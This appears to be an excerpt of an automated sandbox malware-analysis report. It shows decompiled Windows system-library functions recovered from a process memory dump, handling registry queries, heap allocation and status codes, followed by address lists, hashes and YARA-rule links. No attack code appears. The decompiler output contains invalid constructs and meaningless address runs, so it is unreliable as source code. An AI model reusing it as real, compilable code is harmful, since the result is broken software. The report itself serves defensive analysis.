						_v20 =  *((intOrPtr*)(_v88 + _t237 + 0x80));
						_t221 = _v40;
						_v16 =  *_v92;
						_v32 =  &_v28;
						if( *(_t237 + 0x4e) >> 0xf == 0) {
							goto L9;
						}
						_t240 = _v48;
						if( *_v92 != 0x80000000) {
							goto L9;
						}
						 *((intOrPtr*)(_t221 + 8)) = 0;
						 *((intOrPtr*)(_t221 + 0xc)) = 0;
						 *((intOrPtr*)(_t221 + 0x14)) = 0;
						 *((intOrPtr*)(_t221 + 0x10)) = _v20;
						_t226 = 0;
						_t181 = _t251 + 0x66;
						_v88 = 0;
						_v92 = _t181;
						do {
							if( *((char*)(_t181 - 2)) == 0) {
								goto L31;
							}
							_t226 = _v88;
							if(( *_t181 & 0x000000ff) == ( *(_t240 + 0x4e) & 0x7fff)) {
								_t181 = E03C8D0F0(1, _t226 + 0x20, 0);
								_t226 = _v40;
								 *(_t226 + 8) = _t181;
								 *((intOrPtr*)(_t226 + 0xc)) = 0;
								L34:
								if(_v44 == 0) {
									goto L9;
								}
								_t210 = _v44;
								_t127 = _t210 + 0x1c; // 0x1c
								_t249 = _t127;
								E03C62280(_t181, _t127);
								 *(_t210 + 0x20) =  *( *[fs:0x18] + 0x24);
								_t185 =  *((intOrPtr*)(_t210 + 0x94));
								if( *((intOrPtr*)(_t210 + 0x94)) != 0) {
									L03C677F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t185);
								}
								_t189 = L03C64620(_t226,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v20 + 0x10);
								 *((intOrPtr*)(_t210 + 0x94)) = _t189;
								if(_t189 != 0) {
									 *((intOrPtr*)(_t189 + 8)) = _v20;
									 *( *((intOrPtr*)(_t210 + 0x94)) + 0xc) = _v16;
									_t232 =  *((intOrPtr*)(_t210 + 0x94));
									 *_t232 = _t232 + 0x10;
									 *(_t232 + 4) =  *(_t232 + 4) & 0x00000000;
									E03C8F3E0( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x94)))), _v28, _v20);
									_t256 = _t256 + 0xc;
								}
								 *(_t210 + 0x20) =  *(_t210 + 0x20) & 0x00000000;
								E03C5FFB0(_t210, _t249, _t249);
								_t222 = _v76;
								_t172 = _v80;
								_t208 = _v84;
								_t247 = _v88;
								L10:
								_t238 =  *((intOrPtr*)(_t251 + 0x1c));
								_v44 = _t238;
								if(_t238 != 0) {
									 *0x3d3b1e0(_v48 + 0x38, _v36, _v63, _t172, _t222, _t247, _t208, _v32,  *((intOrPtr*)(_t251 + 0x20)));
									_v44();
								}
								_pop(_t248);
								_pop(_t252);
								_pop(_t209);
								return E03C8B640(0, _t209, _v8 ^ _t256, _t238, _t248, _t252);
							}
							_t181 = _v92;
							L31:
							_t226 = _t226 + 1;
							_t181 =  &(_t181[0x18]);
							_v88 = _t226;
							_v92 = _t181;
						} while (_t226 < 4);
						goto L34;
					}
					L9:
					_t172 = _v104;
					_t222 = _v100;
					goto L10;
				}
				_t247 = _t246 | 0xffffffff;
				_t208 = _t247;
				_v84 = _t247;
				_v80 = _t208;
				if( *((intOrPtr*)(_t251 + 0x4c)) == _t157) {
					_t233 = _v72;
					_v105 = _v64;
					_t202 = _v76;
				} else {
					_t204 =  *((intOrPtr*)(_t251 + 0x4d));
					_v105 = 1;
					if(_v63 <= _t204) {
						_v63 = _t204;
					}
					_t202 = _v76 |  *(_t251 + 0x40);
					_t233 = _v72 |  *(_t251 + 0x44);
					_t247 =  *(_t251 + 0x38);
					_t208 =  *(_t251 + 0x3c);
					_v76 = _t202;
					_v72 = _t233;
					_v84 = _t247;
					_v80 = _t208;
				}
				_v104 = _t202;
				_v100 = _t233;
				if( *((char*)(_t251 + 0xc4)) != 0) {
					_t237 = _v48;
					_v105 = 1;
					if(_v63 <=  *((intOrPtr*)(_t251 + 0xc5))) {
						_v63 =  *((intOrPtr*)(_t251 + 0xc5));
						_t237 = _v48;
					}
					_t203 = _t202 |  *(_t251 + 0xb8);
					_t234 = _t233 |  *(_t251 + 0xbc);
					_t247 = _t247 &  *(_t251 + 0xb0);
					_t208 = _t208 &  *(_t251 + 0xb4);
					_v104 = _t203;
					_v76 = _t203;
					_v100 = _t234;
					_v72 = _t234;
					_v84 = _t247;
					_v80 = _t208;
				}
				if(_v105 == 0) {
					_v36 = _v36 & 0x00000000;
					_t208 = 0;
					_t247 = 0;
					 *(_t237 + 0x74) =  *(_t237 + 0x74) & 0;
					goto L19;
				} else {
					_v36 = 1;
					goto L8;
				}
			}

0x03c75142
0x03c7514c
0x03c75150
0x03c75157
0x03c75159
0x03c7515e
0x03c75165
0x03c75169
0x03c7516c
0x03c75172
0x03c75176
0x03c7517a
0x03c7517a
0x03c7517a
0x03c7517f
0x03cb6d8b
0x03cb6d8e
0x03cb6d91
0x03cb6d95
0x03cb6d98
0x03cb6d9c
0x03cb6da0
0x03cb6da3
0x03cb6da7
0x03cb6e26
0x03cb6e26
0x03cb6e2a
0x03c751f9
0x03c751f9
0x03c751fe
0x03cb6e33
0x03cb6e33
0x03cb6e39
0x03cb6e3d
0x03cb6e46
0x03cb6e50
0x00000000
0x00000000
0x03cb6e52
0x03cb6e53
0x03cb6e56
0x03cb6e5d
0x00000000
0x00000000
0x00000000
0x03cb6e5f
0x03cb6e67
0x03cb6e77
0x03cb6e7f
0x03cb6e80
0x03cb6e88
0x03cb6e90
0x03cb6e9f
0x03cb6ea5
0x03cb6ea9
0x03cb6eb1
0x03cb6ebf
0x00000000
0x00000000
0x03cb6ecf
0x03cb6ed3
0x00000000
0x00000000
0x03cb6edb
0x03cb6ede
0x03cb6ee1
0x03cb6ee8
0x03cb6eeb
0x03cb6eed
0x03cb6ef0
0x03cb6ef4
0x03cb6ef8
0x03cb6efc
0x00000000
0x00000000
0x03cb6f0d
0x03cb6f11
0x03cb6f32
0x03cb6f37
0x03cb6f3b
0x03cb6f3e
0x03cb6f41
0x03cb6f46
0x00000000
0x00000000
0x03cb6f4c
0x03cb6f50
0x03cb6f50
0x03cb6f54
0x03cb6f62
0x03cb6f65
0x03cb6f6d
0x03cb6f7b
0x03cb6f7b
0x03cb6f93
0x03cb6f98
0x03cb6fa0
0x03cb6fa6
0x03cb6fb3
0x03cb6fb6
0x03cb6fbf
0x03cb6fc1
0x03cb6fd5
0x03cb6fda
0x03cb6fda
0x03cb6fdd
0x03cb6fe2
0x03cb6fe7
0x03cb6feb
0x03cb6fef
0x03cb6ff3
0x03c7520c
0x03c7520c
0x03c7520f
0x03c75215
0x03c75234
0x03c7523a
0x03c7523a
0x03c75244
0x03c75245
0x03c75246
0x03c75251
0x03c75251
0x03cb6f13
0x03cb6f17
0x03cb6f17
0x03cb6f18
0x03cb6f1b
0x03cb6f1f
0x03cb6f23
0x00000000
0x03cb6f28
0x03c75204
0x03c75204
0x03c75208
0x00000000
0x03c75208
0x03c75185
0x03c75188
0x03c7518a
0x03c7518e
0x03c75195
0x03cb6db1
0x03cb6db5
0x03cb6db9
0x03c7519b
0x03c7519b
0x03c7519e
0x03c751a7
0x03c751a9
0x03c751a9
0x03c751b5
0x03c751b8
0x03c751bb
0x03c751be
0x03c751c1
0x03c751c5
0x03c751c9
0x03c751cd
0x03c751cd
0x03c751d8
0x03c751dc
0x03c751e0
0x03cb6dcc
0x03cb6dd0
0x03cb6dd5
0x03cb6ddd
0x03cb6de1
0x03cb6de1
0x03cb6de5
0x03cb6deb
0x03cb6df1
0x03cb6df7
0x03cb6dfd
0x03cb6e01
0x03cb6e05
0x03cb6e09
0x03cb6e0d
0x03cb6e11
0x03cb6e11
0x03c751eb
0x03cb6e1a
0x03cb6e1f
0x03cb6e21
0x03cb6e23
0x00000000
0x03c751f1
0x03c751f1
0x00000000
0x03c751f1

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a3b40132d3aa80c6e3286c01f3e16bc468c7fb2b7e269c23e0fe4005a42bcde
Instruction ID: 69fc3ba1d073a6b771cbcd47925af613e84250a2012ab71fc72f6dffb81db0e3
Opcode Fuzzy Hash: 5a3b40132d3aa80c6e3286c01f3e16bc468c7fb2b7e269c23e0fe4005a42bcde
Instruction Fuzzy Hash: 1FC1FE755093809FD354CF28C580A6AFBF1BB89304F188A6EF899DB352D771E945CB42

Uniqueness

Uniqueness Score: -1.00%

Function 03C703E2, Relevance: .3, Instructions: 254
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E03C703E2(signed int __ecx, signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				char _v52;
				char _v56;
				char _v64;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t56;
				signed int _t58;
				char* _t64;
				intOrPtr _t65;
				signed int _t74;
				signed int _t79;
				char* _t83;
				intOrPtr _t84;
				signed int _t93;
				signed int _t94;
				signed char* _t95;
				signed int _t99;
				signed int _t100;
				signed char* _t101;
				signed int _t105;
				signed int _t119;
				signed int _t120;
				void* _t122;
				signed int _t123;
				signed int _t127;

				_v8 =  *0x3d3d360 ^ _t127;
				_t119 = __ecx;
				_t105 = __edx;
				_t118 = 0;
				_v20 = __edx;
				_t120 =  *(__ecx + 0x20);
				if(E03C70548(__ecx, 0) != 0) {
					_t56 = 0xc000022d;
					L23:
					return E03C8B640(_t56, _t105, _v8 ^ _t127, _t118, _t119, _t120);
				} else {
					_v12 = _v12 | 0xffffffff;
					_t58 = _t120 + 0x24;
					_t109 =  *(_t120 + 0x18);
					_t118 = _t58;
					_v16 = _t58;
					E03C5B02A( *(_t120 + 0x18), _t118, 0x14a5);
					_v52 = 0x18;
					_v48 = 0;
					0x840 = 0x40;
					if( *0x3d37c1c != 0) {
					}
					_v40 = 0x840;
					_v44 = _t105;
					_v36 = 0;
					_v32 = 0;
					if(E03C67D50() != 0) {
						_t64 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t64 = 0x7ffe0384;
					}
					if( *_t64 != 0) {
						_t65 =  *[fs:0x30];
						__eflags =  *(_t65 + 0x240) & 0x00000004;
						if(( *(_t65 + 0x240) & 0x00000004) != 0) {
							_t100 = E03C67D50();
							__eflags = _t100;
							if(_t100 == 0) {
								_t101 = 0x7ffe0385;
							} else {
								_t101 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t101 & 0x00000020;
							if(( *_t101 & 0x00000020) != 0) {
								_t118 = _t118 | 0xffffffff;
								_t109 = 0x1485;
								E03CC7016(0x1485, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					_t105 = 0;
					while(1) {
						_push(0x60);
						_push(5);
						_push( &_v64);
						_push( &_v52);
						_push(0x100021);
						_push( &_v12);
						_t122 = E03C89830();
						if(_t122 >= 0) {
							break;
						}
						__eflags = _t122 - 0xc0000034;
						if(_t122 == 0xc0000034) {
							L38:
							_t120 = 0xc0000135;
							break;
						}
						__eflags = _t122 - 0xc000003a;
						if(_t122 == 0xc000003a) {
							goto L38;
						}
						__eflags = _t122 - 0xc0000022;
						if(_t122 != 0xc0000022) {
							break;
						}
						__eflags = _t105;
						if(__eflags != 0) {
							break;
						}
						_t109 = _t119;
						_t99 = E03CC69A6(_t119, __eflags);
						__eflags = _t99;
						if(_t99 == 0) {
							break;
						}
						_t105 = _t105 + 1;
					}
					if( !_t120 >= 0) {
						L22:
						_t56 = _t120;
						goto L23;
					}
					if( *0x3d37c04 != 0) {
						_t118 = _v12;
						_t120 = E03CCA7AC(_t119, _t118, _t109);
						__eflags = _t120;
						if(_t120 >= 0) {
							goto L10;
						}
						__eflags =  *0x3d37bd8;
						if( *0x3d37bd8 != 0) {
							L20:
							if(_v12 != 0xffffffff) {
								_push(_v12);
								E03C895D0();
							}
							goto L22;
						}
					}
					L10:
					_push(_v12);
					_t105 = _t119 + 0xc;
					_push(0x1000000);
					_push(0x10);
					_push(0);
					_push(0);
					_push(0xf);
					_push(_t105);
					_t120 = E03C899A0();
					if(_t120 < 0) {
						__eflags = _t120 - 0xc000047e;
						if(_t120 == 0xc000047e) {
							L51:
							_t74 = E03CC3540(_t120);
							_t119 = _v16;
							_t120 = _t74;
							L52:
							_t118 = 0x1485;
							E03C4B1E1(_t120, 0x1485, 0, _t119);
							goto L20;
						}
						__eflags = _t120 - 0xc000047f;
						if(_t120 == 0xc000047f) {
							goto L51;
						}
						__eflags = _t120 - 0xc0000462;
						if(_t120 == 0xc0000462) {
							goto L51;
						}
						_t119 = _v16;
						__eflags = _t120 - 0xc0000017;
						if(_t120 != 0xc0000017) {
							__eflags = _t120 - 0xc000009a;
							if(_t120 != 0xc000009a) {
								__eflags = _t120 - 0xc000012d;
								if(_t120 != 0xc000012d) {
									_v28 = _t119;
									_push( &_v56);
									_push(1);
									_v24 = _t120;
									_push( &_v28);
									_push(1);
									_push(2);
									_push(0xc000007b);
									_t79 = E03C8AAF0();
									__eflags = _t79;
									if(_t79 >= 0) {
										__eflags =  *0x3d38474 - 3;
										if( *0x3d38474 != 3) {
											 *0x3d379dc =  *0x3d379dc + 1;
										}
									}
								}
							}
						}
						goto L52;
					}
					if(E03C67D50() != 0) {
						_t83 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					} else {
						_t83 = 0x7ffe0384;
					}
					if( *_t83 != 0) {
						_t84 =  *[fs:0x30];
						__eflags =  *(_t84 + 0x240) & 0x00000004;
						if(( *(_t84 + 0x240) & 0x00000004) != 0) {
							_t94 = E03C67D50();
							__eflags = _t94;
							if(_t94 == 0) {
								_t95 = 0x7ffe0385;
							} else {
								_t95 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
							}
							__eflags =  *_t95 & 0x00000020;
							if(( *_t95 & 0x00000020) != 0) {
								E03CC7016(0x1486, _t118, 0xffffffff, 0xffffffff, 0, 0);
							}
						}
					}
					if(( *(_t119 + 0x10) & 0x00000100) == 0) {
						if( *0x3d38708 != 0) {
							_t118 =  *0x7ffe0330;
							_t123 =  *0x3d37b00; // 0x0
							asm("ror esi, cl");
							 *0x3d3b1e0(_v12, _v20, 0x20);
							_t93 =  *(_t123 ^  *0x7ffe0330)();
							_t50 = _t93 + 0x3ffffddb; // 0x3ffffddb
							asm("sbb esi, esi");
							_t120 =  ~_t50 & _t93;
						} else {
							_t120 = 0;
						}
					}
					if( !_t120 >= 0) {
						L19:
						_push( *_t105);
						E03C895D0();
						 *_t105 =  *_t105 & 0x00000000;
						goto L20;
					}
					_t120 = E03C57F65(_t119);
					if( *((intOrPtr*)(_t119 + 0x60)) != 0) {
						__eflags = _t120;
						if(_t120 < 0) {
							goto L19;
						}
						 *(_t119 + 0x64) = _v12;
						goto L22;
					}
					goto L19;
				}
			}

0x03c703f1
0x03c703f7
0x03c703f9
0x03c703fb
0x03c703fd
0x03c70400
0x03c7040a
0x03cb4c7a
0x03c70537
0x03c70547
0x03c70410
0x03c70410
0x03c70414
0x03c70417
0x03c7041a
0x03c70421
0x03c70424
0x03c7042b
0x03c7043b
0x03c7043e
0x03c7043f
0x03c7043f
0x03c70446
0x03c70449
0x03c7044c
0x03c7044f
0x03c70459
0x03cb4c8d
0x03c7045f
0x03c7045f
0x03c7045f
0x03c70467
0x03cb4c97
0x03cb4c9d
0x03cb4ca4
0x03cb4caa
0x03cb4caf
0x03cb4cb1
0x03cb4cc3
0x03cb4cb3
0x03cb4cbc
0x03cb4cbc
0x03cb4cc8
0x03cb4ccb
0x03cb4cd7
0x03cb4cda
0x03cb4cdf
0x03cb4cdf
0x03cb4ccb
0x03cb4ca4
0x03c7046d
0x03c7046f
0x03c7046f
0x03c70471
0x03c70476
0x03c7047a
0x03c7047b
0x03c70483
0x03c70489
0x03c7048d
0x00000000
0x00000000
0x03cb4ce9
0x03cb4cef
0x03cb4d22
0x03cb4d22
0x00000000
0x03cb4d22
0x03cb4cf1
0x03cb4cf7
0x00000000
0x00000000
0x03cb4cf9
0x03cb4cff
0x00000000
0x00000000
0x03cb4d05
0x03cb4d07
0x00000000
0x00000000
0x03cb4d0d
0x03cb4d0f
0x03cb4d14
0x03cb4d16
0x00000000
0x00000000
0x03cb4d1c
0x03cb4d1c
0x03c70499
0x03c70535
0x03c70535
0x00000000
0x03c70535
0x03c704a6
0x03cb4d2c
0x03cb4d37
0x03cb4d39
0x03cb4d3b
0x00000000
0x00000000
0x03cb4d41
0x03cb4d48
0x03c70527
0x03c7052b
0x03c7052d
0x03c70530
0x03c70530
0x00000000
0x03c7052b
0x03cb4d4e
0x03c704ac
0x03c704ac
0x03c704af
0x03c704b2
0x03c704b7
0x03c704b9
0x03c704bb
0x03c704bd
0x03c704bf
0x03c704c5
0x03c704c9
0x03cb4d53
0x03cb4d59
0x03cb4db9
0x03cb4dba
0x03cb4dbf
0x03cb4dc2
0x03cb4dc4
0x03cb4dc7
0x03cb4dce
0x00000000
0x03cb4dce
0x03cb4d5b
0x03cb4d61
0x00000000
0x00000000
0x03cb4d63
0x03cb4d69
0x00000000
0x00000000
0x03cb4d6b
0x03cb4d6e
0x03cb4d74
0x03cb4d76
0x03cb4d7c
0x03cb4d7e
0x03cb4d84
0x03cb4d89
0x03cb4d8c
0x03cb4d8d
0x03cb4d92
0x03cb4d95
0x03cb4d96
0x03cb4d98
0x03cb4d9a
0x03cb4d9f
0x03cb4da4
0x03cb4da6
0x03cb4da8
0x03cb4daf
0x03cb4db1
0x03cb4db1
0x03cb4daf
0x03cb4da6
0x03cb4d84
0x03cb4d7c
0x00000000
0x03cb4d74
0x03c704d6
0x03cb4de1
0x03c704dc
0x03c704dc
0x03c704dc
0x03c704e4
0x03cb4deb
0x03cb4df1
0x03cb4df8
0x03cb4dfe
0x03cb4e03
0x03cb4e05
0x03cb4e17
0x03cb4e07
0x03cb4e10
0x03cb4e10
0x03cb4e1c
0x03cb4e1f
0x03cb4e35
0x03cb4e35
0x03cb4e1f
0x03cb4df8
0x03c704f1
0x03c704fa
0x03cb4e3f
0x03cb4e47
0x03cb4e5b
0x03cb4e61
0x03cb4e67
0x03cb4e69
0x03cb4e71
0x03cb4e73
0x03c70500
0x03c70500
0x03c70500
0x03c704fa
0x03c70508
0x03c7051d
0x03c7051d
0x03c7051f
0x03c70524
0x00000000
0x03c70524
0x03c70515
0x03c70517
0x03cb4e7a
0x03cb4e7c
0x00000000
0x00000000
0x03cb4e85
0x00000000
0x03cb4e85
0x00000000
0x03c70517

Memory Dump Source

Source File: 0000000B.00000002.924749371.0000000003C20000.00000040.00000001.sdmp, Offset: 03C20000, based on PE: true

Associated: 0000000B.00000002.924844759.0000000003D3B000.00000040.00000001.sdmp Download File
Associated: 0000000B.00000002.924856644.0000000003D3F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1b7a6865bcbd8d26b03041f051803a74352076ec3aece7cd9ac726d18fb5f4e
Instruction ID: 5e3e3f37153ea149130e268db2ce0970b784628e5d18573aaee1d87d9e43e2c1
Opcode Fuzzy Hash: d1b7a6865bcbd8d26b03041f051803a74352076ec3aece7cd9ac726d18fb5f4e
Instruction Fuzzy Hash: 46914971E04764AFEB25EB69C844BEDBBB4AB00764F0A0265ED11EF2D2D7749E40C781

Uniqueness

Uniqueness Score: -1.00%

Function 03C4C600, Relevance: .2, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E03C4C600(intOrPtr _a4, intOrPtr _a8, signed int _a12, signed char _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v1036;
				signed int _v1040;
				char _v1048;
				signed int _v1052;
				signed char _v1056;
				void* _v1058;
				char _v1060;
				signed int _v1064;
				void* _v1068;
				intOrPtr _v1072;
				void* _v1084;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t70;
				intOrPtr _t72;
				signed int _t74;
				intOrPtr _t77;
				signed int _t78;
				signed int _t81;
				void* _t101;
				signed int _t102;
				signed int _t107;
				signed int _t109;
				signed int _t110;
				signed char _t111;
				signed int _t112;
				signed int _t113;
				signed int _t114;
				intOrPtr _t116;
				void* _t117;
				char _t118;
				void* _t120;
				char _t121;
				signed int _t122;
				signed int _t123;
				signed int _t125;

				_t125 = (_t123 & 0xfffffff8) - 0x424;
				_v8 =  *0x3d3d360 ^ _t125;
				_t116 = _a4;
				_v1056 = _a16;
				_v1040 = _a24;
				if(E03C56D30( &_v1048, _a8) < 0) {
					L4:
					_pop(_t117);
					_pop(_t120);
					_pop(_t101);
					return E03C8B640(_t68, _t101, _v8 ^ _t125, _t114, _t117, _t120);
				}
				_t70 = _a20;
				if(_t70 >= 0x3f4) {
					_t121 = _t70 + 0xc;
					L19:
					_t107 =  *( *[fs:0x30] + 0x18);
					__eflags = _t107;
					if(_t107 == 0) {
						L60:
						_t68 = 0xc0000017;
						goto L4;
					}
					_t72 =  *0x3d37b9c; // 0x0
					_t74 = L03C64620(_t107, _t107, _t72 + 0x180000, _t121);
					_v1064 = _t74;
					__eflags = _t74;
					if(_t74 == 0) {
						goto L60;
					}
					_t102 = _t74;
					_push( &_v1060);
					_push(_t121);
					_push(_t74);
					_push(2);
					_push( &_v1048);
					_push(_t116);
					_t122 = E03C89650();
					__eflags = _t122;
					if(_t122 >= 0) {
						L7:
						_t114 = _a12;
						__eflags = _t114;
						if(_t114 != 0) {
							_t77 = _a20;
							L26:
							_t109 =  *(_t102 + 4);
							__eflags = _t109 - 3;
							if(_t109 == 3) {
								L55:
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									L59:
									_t122 = 0xc0000024;
									L15:
									_t78 = _v1052;
									__eflags = _t78;
									if(_t78 != 0) {
										L03C677F0( *( *[fs:0x30] + 0x18), 0, _t78);
									}
									_t68 = _t122;
									goto L4;
								}
								_t110 = _v1056;
								_t118 =  *((intOrPtr*)(_t102 + 8));
								_v1060 = _t118;
								__eflags = _t110;
								if(_t110 == 0) {
									L10:
									_t122 = 0x80000005;
									L11:
									_t81 = _v1040;
									__eflags = _t81;
									if(_t81 == 0) {
										goto L15;
									}
									__eflags = _t122;
									if(_t122 >= 0) {
										L14:
										 *_t81 = _t118;
										goto L15;
									}
									__eflags = _t122 - 0x80000005;
									if(_t122 != 0x80000005) {
										goto L15;
									}
									goto L14;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t77;
								if( *((intOrPtr*)(_t102 + 8)) > _t77) {
									goto L10;
								}
								_push( *((intOrPtr*)(_t102 + 8)));
								_t59 = _t102 + 0xc; // 0xc
								_push(_t110);
								L54:
								E03C8F3E0();
								_t125 = _t125 + 0xc;
								goto L11;
							}
							__eflags = _t109 - 7;
							if(_t109 == 7) {
								goto L55;
							}
							_t118 = 4;
							__eflags = _t109 - _t118;
							if(_t109 != _t118) {
								__eflags = _t109 - 0xb;
								if(_t109 != 0xb) {
									__eflags = _t109 - 1;
									if(_t109 == 1) {
										__eflags = _t114 - _t118;
										if(_t114 != _t118) {
											_t118 =  *((intOrPtr*)(_t102 + 8));
											_v1060 = _t118;
											__eflags = _t118 - _t77;
											if(_t118 > _t77) {
												goto L10;
											}
											_push(_t118);
											_t56 = _t102 + 0xc; // 0xc
											_push(_v1056);
											goto L54;
										}
										__eflags = _t77 - _t118;
										if(_t77 != _t118) {
											L34:
											_t122 = 0xc0000004;
											goto L15;
										}
										_t111 = _v1056;
										__eflags = _t111 & 0x00000003;
										if((_t111 & 0x00000003) == 0) {
											_v1060 = _t118;
											__eflags = _t111;
											if(__eflags == 0) {
												goto L10;
											}
											_t42 = _t102 + 0xc; // 0xc
											 *((intOrPtr*)(_t125 + 0x20)) = _t42;
											_v1048 =  *((intOrPtr*)(_t102 + 8));
											_push(_t111);
											 *((short*)(_t125 + 0x22)) =  *((intOrPtr*)(_t102 + 8));
											_push(0);
											_push( &_v1048);
											_t122 = E03C813C0(_t102, _t118, _t122, __eflags);
											L44:
											_t118 = _v1072;
											goto L11;
										}
										_t122 = 0x80000002;
										goto L15;
									}
									_t122 = 0xc0000024;
									goto L44;
								}
								__eflags = _t114 - _t109;
								if(_t114 != _t109) {
									goto L59;
								}
								_t118 = 8;
								__eflags = _t77 - _t118;
								if(_t77 != _t118) {
									goto L34;
								}
								__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
								if( *((intOrPtr*)(_t102 + 8)) != _t118) {
									goto L34;
								}
								_t112 = _v1056;
								_v1060 = _t118;
								__eflags = _t112;
								if(_t112 == 0) {
									goto L10;
								}
								 *_t112 =  *((intOrPtr*)(_t102 + 0xc));
								 *((intOrPtr*)(_t112 + 4)) =  *((intOrPtr*)(_t102 + 0x10));
								goto L11;
							}
							__eflags = _t114 - _t118;
							if(_t114 != _t118) {
								goto L59;
							}
							__eflags = _t77 - _t118;
							if(_t77 != _t118) {
								goto L34;
							}
							__eflags =  *((intOrPtr*)(_t102 + 8)) - _t118;
							if( *((intOrPtr*)(_t102 + 8)) != _t118) {
								goto L34;
							}
							_t113 = _v1056;
							_v1060 = _t118;
							__eflags = _t113;
							if(_t113 == 0) {
								goto L10;
							}
							 *_t113 =  *((intOrPtr*)(_t102 + 0xc));
							goto L11;
						}
						_t118 =  *((intOrPtr*)(_t102 + 8));
						__eflags = _t118 - _a20;
						if(_t118 <= _a20) {
							_t114 =  *(_t102 + 4);
							_t77 = _t118;
							goto L26;
						}
						_v1060 = _t118;
						goto L10;
					}
					__eflags = _t122 - 0x80000005;
					if(_t122 != 0x80000005) {
						goto L15;
					}
					L03C677F0( *( *[fs:0x30] + 0x18), 0, _t102);
					L18:
					_t121 = _v1060;
					goto L19;
				}
				_push( &_v1060);
				_push(0x400);
				_t102 =  &_v1036;
				_push(_t102);
				_push(2);
				_push( &_v1048);
				_push(_t116);
				_t122 = E03C89650();
				if(_t122 >= 0) {
					__eflags = 0;
					_v1052 = 0;
					goto L7;
				}
				if(_t122 == 0x80000005) {
					goto L18;
				}
				goto L4;
			}

0x03c4c608
0x03c4c615
0x03c4c625
0x03c4c62d
0x03c4c635
0x03c4c640
0x03c4c680
0x03c4c687
0x03c4c688
0x03c4c689
0x03c4c694
0x03c4c694
0x03c4c642
0x03c4c64a
0x03c4c697
0x03cb7a25
0x03cb7a2b
0x03cb7a2e
0x03cb7a30
0x03cb7bea
0x03cb7bea
0x00000000
0x03cb7bea
0x03cb7a36
0x03cb7a43
0x03cb7a48
0x03cb7a4c
0x03cb7a4e
0x00000000
0x00000000
0x03cb7a58
0x03cb7a5a
0x03cb7a5b
0x03cb7a5c
0x03cb7a5d
0x03cb7a63
0x03cb7a64
0x03cb7a6a
0x03cb7a6c
0x03cb7a6e
0x03cb79cb
0x03cb79cb
0x03cb79ce
0x03cb79d0
0x03cb7a98
0x03cb7a9b
0x03cb7a9b
0x03cb7a9e
0x03cb7aa1
0x03cb7bbe
0x03cb7bbe
0x03cb7bc0
0x03cb7be0
0x03cb7be0
0x03cb7a01
0x03cb7a01
0x03cb7a05
0x03cb7a07
0x03cb7a15
0x03cb7a15
0x03cb7a1a
0x00000000
0x03cb7a1a
0x03cb7bc2
0x03cb7bc6
0x03cb7bc9
0x03cb7bcd
0x03cb7bcf
0x03cb79e6
0x03cb79e6
0x03cb79eb
0x03cb79eb
0x03cb79ef
0x03cb79f1
0x00000000
0x00000000
0x03cb79f3
0x03cb79f5
0x03cb79ff
0x03cb79ff
0x00000000
0x03cb79ff
0x03cb79f7
0x03cb79fd
0x00000000
0x00000000
0x00000000
0x03cb79fd
0x03cb7bd5
0x03cb7bd8
0x00000000
0x00000000
0x03cb7ba9
0x03cb7bac
0x03cb7bb0
0x03cb7bb1
0x03cb7bb1
0x03cb7bb6
0x00000000
0x03cb7bb6
0x03cb7aa7
0x03cb7aaa
0x00000000
0x00000000
0x03cb7ab2
0x03cb7ab3
0x03cb7ab5
0x03cb7aec
0x03cb7aef
0x03cb7b25
0x03cb7b28
0x03cb7b62
0x03cb7b64
0x03cb7b8f
0x03cb7b92
0x03cb7b96
0x03cb7b98
0x00000000
0x00000000
0x03cb7b9e
0x03cb7b9f
0x03cb7ba3
0x00000000
0x03cb7ba3
0x03cb7b66
0x03cb7b68
0x03cb7ae2
0x03cb7ae2
0x00000000
0x03cb7ae2
0x03cb7b6e
0x03cb7b72
0x03cb7b75
0x03cb7b81
0x03cb7b85
0x03cb7b87
0x00000000
0x00000000
0x03cb7b31
0x03cb7b34
0x03cb7b3c
0x03cb7b45
0x03cb7b46
0x03cb7b4f
0x03cb7b51
0x03cb7b57
0x03cb7b59
0x03cb7b59
0x00000000
0x03cb7b59
0x03cb7b77
0x00000000
0x03cb7b77
0x03cb7b2a
0x00000000
0x03cb7b2a
0x03cb7af1
0x03cb7af3
0x00000000
0x00000000
0x03cb7afb
0x03cb7afc
0x03cb7afe
0x00000000
0x00000000
0x03cb7b00
0x03cb7b03
0x00000000
0x00000000
0x03cb7b05
0x03cb7b09
0x03cb7b0d
0x03cb7b0f
0x00000000
0x00000000
0x03cb7b18
0x03cb7b1d
0x00000000
0x03cb7b1d
0x03cb7ab7
0x03cb7ab9
0x00000000
0x00000000
0x03cb7abf
0x03cb7ac1
0x00000000
0x00000000
0x03cb7ac3
0x03cb7ac6
0x00000000
0x00000000
0x03cb7ac8
0x03cb7acc
0x03cb7ad0
0x03cb7ad2
0x00000000
0x00000000
0x03cb7adb
0x00000000
0x03cb7adb
0x03cb79d6
0x03cb79d9
0x03cb79dc
0x03cb7a91
0x03cb7a94
